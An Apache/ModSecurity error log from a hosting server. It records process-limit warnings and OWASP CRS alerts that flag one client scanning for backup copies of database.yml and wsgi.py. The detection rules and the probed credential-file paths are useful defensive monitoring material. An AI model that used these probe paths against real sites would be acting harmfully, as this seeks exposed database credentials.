[Fri Jul 17 08:55:19.806579 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.807843 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wsgi.py.swp"] [unique_id "almgn3RlmrtCoY_COpcl7AAAAAg"]
[Fri Jul 17 08:55:19.808452 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wsgi.py.swp"] [unique_id "almgn3RlmrtCoY_COpcl7AAAAAg"]
[Fri Jul 17 08:55:19.808607 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.808745 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn3RlmrtCoY_COpcl7AAAAAg"]
[Fri Jul 17 08:55:19.810713 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.816287 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.819805 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.823874 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.824998 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.827636 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.830501 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.830546 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.834238 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".yml~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.yml~"] [unique_id "almgnw5GPQ6hs4VrfMpBggAAAAY"]
[Fri Jul 17 08:55:19.834493 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml~"] [unique_id "almgnw5GPQ6hs4VrfMpBggAAAAY"]
[Fri Jul 17 08:55:19.834813 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml~"] [unique_id "almgnw5GPQ6hs4VrfMpBggAAAAY"]
[Fri Jul 17 08:55:19.835013 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.835171 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnw5GPQ6hs4VrfMpBggAAAAY"]
[Fri Jul 17 08:55:19.839837 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.840846 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.yml.bak"] [unique_id "almgn4Zvbo7N5o5zeYC-bwAAABw"]
[Fri Jul 17 08:55:19.840855 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.841081 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml.bak"] [unique_id "almgn4Zvbo7N5o5zeYC-bwAAABw"]
[Fri Jul 17 08:55:19.841314 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml.bak"] [unique_id "almgn4Zvbo7N5o5zeYC-bwAAABw"]
[Fri Jul 17 08:55:19.841401 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.841546 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn4Zvbo7N5o5zeYC-bwAAABw"]
[Fri Jul 17 08:55:19.844458 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml.orig"] [unique_id "almgn3RlmrtCoY_COpcl7QAAAAg"]
[Fri Jul 17 08:55:19.844771 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml.orig"] [unique_id "almgn3RlmrtCoY_COpcl7QAAAAg"]
[Fri Jul 17 08:55:19.844879 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.844991 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn3RlmrtCoY_COpcl7QAAAAg"]
[Fri Jul 17 08:55:19.846035 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.yml.swp"] [unique_id "almgn4l9vhFBGA6D8l96DQAAAAw"]
[Fri Jul 17 08:55:19.846246 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml.tmp"] [unique_id "almgny0HS8lGbZyK8qt3IAAAACM"]
[Fri Jul 17 08:55:19.846271 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml.swp"] [unique_id "almgn4l9vhFBGA6D8l96DQAAAAw"]
[Fri Jul 17 08:55:19.846516 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml.swp"] [unique_id "almgn4l9vhFBGA6D8l96DQAAAAw"]
[Fri Jul 17 08:55:19.846520 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml.tmp"] [unique_id "almgny0HS8lGbZyK8qt3IAAAACM"]
[Fri Jul 17 08:55:19.846611 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.846628 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.846740 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn4l9vhFBGA6D8l96DQAAAAw"]
[Fri Jul 17 08:55:19.846742 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgny0HS8lGbZyK8qt3IAAAACM"]
[Fri Jul 17 08:55:19.847859 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.yml.old"] [unique_id "almgn1CBpfuYyhJ140vSrwAAAB4"]
[Fri Jul 17 08:55:19.848128 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /database.yml.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/database.yml.old"] [unique_id "almgn1CBpfuYyhJ140vSrwAAAB4"]
[Fri Jul 17 08:55:19.848386 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.yml.old"] [unique_id "almgn1CBpfuYyhJ140vSrwAAAB4"]
[Fri Jul 17 08:55:19.848517 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.848658 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn1CBpfuYyhJ140vSrwAAAB4"]
